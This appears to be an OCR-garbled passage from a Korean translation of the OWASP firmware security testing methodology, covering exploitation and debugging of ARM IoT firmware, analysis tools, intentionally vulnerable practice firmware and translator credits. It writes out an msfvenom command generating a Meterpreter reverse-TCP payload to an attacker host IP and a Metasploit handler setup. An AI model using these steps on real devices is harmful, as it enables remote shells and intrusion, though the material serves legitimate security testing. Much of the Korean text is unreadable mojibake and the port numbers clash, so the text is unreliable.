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2. Msfvenom 2 A3t AT & HO|2E(-p), SAX SAE IP(LHOST=), =4 ZE
HS(LPORT=), It [FH(-f), OF7|EX(--arch), 23 Z(--platform linux = windows) 5
=Y ot(-0)2 AZLCH

ofl)

msfvenom -p linux/armle/meterpreter reverse tcp
LHOST=192.168.1.245 LPORT=4445 -f elf -o
meterpreter reverse tcp --arch armle --platform linux

3. &dE EXZE Hol2zEE HES (o 22 & MHE H¥sn HO|ZEE umg
AMLEO 2 wget/curl) HO|ZE0] 28 #HoH0] JU=X| =QletLC.

4. 0= QH¥Z H2I6t7| {8 Metasploit & TH|ELICE O|E =0 msfconsole 2
Metasploit & A|Z5td @[] WO|=E0] w2t oHE BFS AFE L

use exploit/multi/handler

set payload linux/armle/meterpreter reverse tcp
set LHOST 192.168.1.245 (attacker host IP)

set LPORT 445 (can be any unused port)

set ExitOnSession false

exploit -j -z

5. 4% 77|00 O/ Z2|E(meterpreten)2| A & Alel

6. DOJE Z2|E MM Z7|

7. 48 2 g5 Y
- WEYIE oz U48I| s CRC ETE Sof A4E KIS Ba|TLICE

et HIERIE MEHIO 25 F7i5tn &4E IXE DY ZAEZ A8
- EYE FAOM 2ZH A2ECoR EffEE xF gL Ch
b5t 22 MEY Al KO ASHOZ ANAY & UEE AN AAYE Lo FAHE
ALt of2{sh FAYH2 AR AFEEV RE Ot ALH (89 MF HOIHO AMEE=
ZaiAl 28 3 SD FtEQF Z0| dZY = gl= ORE X Y= ZEE HZOSHAL HEE
YASHALL olESY I HdgtLCt.
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HEHY 240 A7t ¢ E= OE0lEE 2E0AM ddE=s 3¢ 2 T Z2M2

o o
L= HojH20 AZSH=E Yol ZetELCh 7[= HEY =4 HAE Lt 25U Ch

sudo chroot . ./qgemu-arch -L <optionalLibPath> -g <gdb_port> <binary>
gdb-multiarch & FZSt7LE IDA & AFESHY] BIO[LHZ|E CE20|E StuA|L.
Memcpy, strncpy, strcmp, &2F 20| 4 EHAOIM AEE 7|50 ofsf SEHES 28

Fuzzer S AMB3I0] QH{EZ =t mENA S AEY 98 08y mozc

ki
19
oz
o

fot
ro
N
rg
o
e}
10
o
o
I
n
12
o
ra
)
Hu
A
o
Ot
1
>
to

gdb-multiarch
Peda

Frida

Ptrace

Strace

IDA Pro
Ghidra

Binary Ninja

Hopper

I{|O|X| 35 / 40



Hho| 142 AAZZQ

Ol CTHAO|A Hio|H2] LHO| FAFS AHDH = MY oyt AES LBot7| <o HE
PoC’HE FY)0| ZagtL|ct AAZ=ZQl FEE J|LSIHE KNF AOO: ASM, C/C++,
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HtO|LH 2| HELY 2= (0f: NX, DER ASIR &)7 YH|EI= A|AE LHOIA BiX|Zl= A2 LEHHOIX|
X2 ofziet o] HSHH RoOp(ErE XY Z2IaiYm #2 F7t 7|E0 ERY =+
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IEE AZESY Yolo oY J|lsE FuY + UsLHH
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- https://github.com/JonathanSalwan/ROPgadget

=7t XHE Qe thg §EE EESAIR.

® https://azeria-labs.com/writing-arm-shellcode/

® https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/
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® Firmware Analysis Comparison Toolkit
® FWanalyzer
® ByteSweep
® Binwalk
® Flashrom
® Openocd
® Firmwalker

m A3EE XSS X3 - https://github.com/scriptingxss/firmwalker

® Firmware Modification Kit

® Angr binary analysis framework
® Binary Analysis Tool

® Firmadyne

® Checksec.sh
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® The Damn Vulnerable Router Firmware Project

B https://github.com/praetorian-code/DVRF

® Damn Vulnerable ARM Router (DVAR)

B https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html

® OWASP loTGoat

B https://github.com/scriptingxss/loTGoat
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(@scriptingxss) | Al A2SHUA| . = ZRMEO| Github(https:/github.com/scriptingxss/owasp-

fstm)off 28 S/E= & 2¥ES MEStM K.
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S Xt Cisco Meraki, OWASP inland Empire 3 OWASP Los Angeles O S§23%t ZHALE E&IL|CH
MBSIAH HESH José Alejandro Rivas Vidal 1t Daniel Miessler Of| Al ZHAFE IL|C},

rE
19
el
=

SR @AIREEISE 8 AR HEESUSMEOAN Z25tD Aol B2 HQb Zof % Hot
2= st ALE o] 7Hol== HYONE FSst HAN 242 AR O o 240

M
=
HaotX|of CHo MBS 7l&Elof A2 loT 220 =50| Lot =F0| =|Z HRgf Lt

HMOAA BRE F20| QUACHH o ojH =z mEs 2EEGLIC

BAIFEESE =AY AXE (limchaeyun@gmail.com)

Microsoft MCT / CISA / CDPSE / CISSP / CISM / Sniffer SCE
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